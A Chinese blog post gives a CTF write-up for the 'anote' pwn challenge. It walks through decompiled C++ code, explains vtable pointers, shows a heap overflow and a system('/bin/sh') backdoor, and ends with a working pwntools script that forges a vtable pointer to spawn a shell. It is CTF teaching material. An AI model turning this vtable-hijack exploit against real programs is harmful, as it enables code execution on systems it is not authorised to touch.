第二届长城杯初赛 anote

这题主要难在读代码,考察C++的虚函数表。这方面还没怎么接触过,mark一下。

大致意思是这样:在C++中,如果一个类含有虚函数,它就会有一个虚表指针vptr,指向这个类的虚函数表。每个子类的开头都会继承这个虚表指针,从而能够通过它找到父类的虚函数。这样方便继承和重载。

更多信息可以参考CTF Pwn中的 UAF 及 pwnable.kr UAF writeup

checksec显示i386,32位,NO PIE。对32位程序调试时,可以使用x/20wx命令。

strings命令显示GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.12) 5.4.0 20160609,我们看后面的16.04.12,还是ubuntu16的范畴,选用2.23-0ubuntu11.3_i386版本即可。


//if(choice==1)
      v1 = operator new(0x1Cu);                
      for ( i = 0; i < 7; ++i )
        v1[i] = 0;
      create(v1);
      index = tot++;
      *(&heap + index) = v1;
      std::operator<<<std::char_traits<char>>(
        &std::cout,
        "got new one!\n",
        v12,
        v16,
        index2,
        len,
        choice,
        tot,
        v24,
        heap,
        v26,
        v27,
        v28,
        v29,
        v30,
        v31,
        v32,
        v33,
        v34,
        content,
        v36,
        v37,
        v38,
        v39);
    }

操作1。看上去非常乱,有一堆变量在满天乱飞,不过实际上这些东西完全不需要管。
std::operator<<<std::char_traits<char>>这里实际上就是C++的输出流cout<<...由于反编译的解析原因,流输入输出被识别为了大量参数的传递,对分析完全没有影响,忽略即可
这里就是用operator new申请固定0x1C大小的堆空间,存到heap[index]中,调用create函数(不重要),然后输出一句"got new one!\n"


if ( choice == 2 )
    {
      std::operator<<<std::char_traits<char>>(
        &std::cout,
        "index: ",
        v12,
        v16,
        index2,
        len,
        2,
        tot,
        v24,
        heap,
        v26,
        v27,
        v28,
        v29,
        v30,
        v31,
        v32,
        v33,
        v34,
        content,
        v36,
        v37,
        v38,
        v39);
      std::istream::operator>>(&std::cin, &index2);
      if ( index2 >= tot )
      {
        v4 = std::operator<<<std::char_traits<char>>(
               &std::cout,
               "the item does not exist.",
               v13,
               v17,
               index2,
               len,
               choice,
               tot,
               v24,
               heap,
               v26,
               v27,
               v28,
               v29,
               v30,
               v31,
               v32,
               v33,
               v34,
               content,
               v36,
               v37,
               v38,
               v39);
        std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
        exit(0);
      }
      now = *(&heap + index2);
      v6 = std::operator<<<std::char_traits<char>>(
             &std::cout,
             "gift: ",
             v13,
             v17,
             index2,
             len,
             choice,
             tot,
             v24,
             heap,
             v26,
             v27,
             v28,
             v29,
             v30,
             v31,
             v32,
             v33,
             v34,
             content,
             v36,
             v37,
             v38,
             v39);
      v7 = std::ostream::operator<<(v6, now);
      std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
      show(*(&heap + index2));
    }

操作2。v6v7等是上一句输出流的返回值,却用作下一句输出的参数,体现了输入输出流的特点。
就是查询给定index,查询heap[index]的值。show函数无法F5,忽略即可。


if ( choice == 3 )
    {
      std::operator<<<std::char_traits<char>>(
        &std::cout,
        "index: ",
        v12,
        v16,
        index2,
        len,
        3,
        tot,
        v24,
        heap,
        v26,
        v27,
        v28,
        v29,
        v30,
        v31,
        v32,
        v33,
        v34,
        content,
        v36,
        v37,
        v38,
        v39);
      v8 = std::istream::operator>>(&std::cin, &index2);
      std::istream::get(v8);
      if ( index2 >= tot )
      {
        v9 = std::operator<<<std::char_traits<char>>(
               &std::cout,
               "the item does not exist.",
               v14,
               v18,
               index2,
               len,
               choice,
               tot,
               v24,
               heap,
               v26,
               v27,
               v28,
               v29,
               v30,
               v31,
               v32,
               v33,
               v34,
               content,
               v36,
               v37,
               v38,
               v39);
        std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>);
        exit(0);
      }
      std::operator<<<std::char_traits<char>>(
        &std::cout,
        "len: ",
        v14,
        v18,
        index2,
        len,
        choice,
        tot,
        v24,
        heap,
        v26,
        v27,
        v28,
        v29,
        v30,
        v31,
        v32,
        v33,
        v34,
        content,
        v36,
        v37,
        v38,
        v39);
      v11 = std::istream::operator>>(&std::cin, &len);
      std::istream::get(v11);
      if ( len > 40 )
      {
        std::operator<<<std::char_traits<char>>(
          &std::cout,
          "too big!\n",
          v15,
          v19,
          index2,
          len,
          choice,
          tot,
          v24,
          heap,
          v26,
          v27,
          v28,
          v29,
          v30,
          v31,
          v32,
          v33,
          v34,
          content,
          v36,
          v37,
          v38,
          v39);
        exit(0);
      }
      std::operator<<<std::char_traits<char>>(
        &std::cout,
        "content: ",
        v15,
        v19,
        index2,
        len,
        choice,
        tot,
        v24,
        heap,
        v26,
        v27,
        v28,
        v29,
        v30,
        v31,
        v32,
        v33,
        v34,
        content,
        v36,
        v37,
        v38,
        v39);
      std::istream::getline(&std::cin, &content, 32);
      edit(*(&heap + index2), &content, index2, len);
      (***(&heap + index2))(*(&heap + index2));
    }
void *__cdecl edit(int a1, void *src, int a3, size_t n)
{
  *(a1 + 4) = a3;
  return memcpy((a1 + 8), src, n);
}

操作3。可以编辑堆的内容,长度不超过40。
注意最后的(***(&heap + index2))(*(&heap + index2));
根据虚函数以及edit函数中的代码可知,*(heap[index2]+0)表示该对象的虚表指针vptr,*(heap[index2]+4)是下标index2*(heap[index2]+8)是content。
(原来的content其实存储在另一个chunk里,只是把它复制到了heap[index2]+8这个位置)

于是(***(&heap + index2))()表示的就是,从虚函数表中取出第一个函数执行,后面跟的*(&heap + index2)表示该函数的参数


int sub_80489CE()
{
  return system("/bin/sh");
}

有个后门函数。NO PIE嘛,很正常。


创建的时候只有0x1C空间,但编辑长度可以到40,显然可以做溢出。不难发现相邻下标的heap地址固定相差0x20,溢出长度也很容易计算。

pwndbg可以看到这个虚表指针固定位于0x8048f48,我们没法直接修改其指向的虚函数地址。

那么考虑伪造一个假的虚表指针,指向后门函数。只需要让堆x的内容是0x80489CE,通过操作2计算出堆x的content地址;然后通过堆溢出修改堆y开头的虚表指针,使其变为上述地址。

这样,再次进行操作3时,假虚表指针指向的虚函数表第一个函数是sub_80489CE,get shell。


from pwn import *
context.log_level="debug"
io=process("./note")
elf=ELF("./note")
def create():
    io.sendlineafter("Choice>>",str(1))
def show(index):
    io.sendlineafter("Choice>>",str(2))
    io.sendlineafter("index: ",str(index))
    io.recvuntil("gift: ")
    return int(io.recvline().strip(),0)//十六进制字符串转十进制
def edit(index,content):
    io.sendlineafter("Choice>>",str(3))
    io.sendlineafter("index: ",str(index))
    io.sendlineafter("len: ",str(len(content)))
    io.sendlineafter("content: ",content)
create()//堆0,用于做溢出
create()//堆1,被溢出修改开头的虚表指针
create()//堆2,存放后门地址
shell_addr=0x80489CE
addr2=show(2)+0x8//构造伪虚表指针,注意偏移8字节才是content
edit(2,p32(shell_addr))
edit(0,p32(0)*6+p32(addr2))//溢出,注意32位
edit(1,"NiYiJiKu")//随便edit一下
io.interactive()
posted @ 2026-01-27 00:03  Fan_sheng  阅读(1)  评论(0)    收藏  举报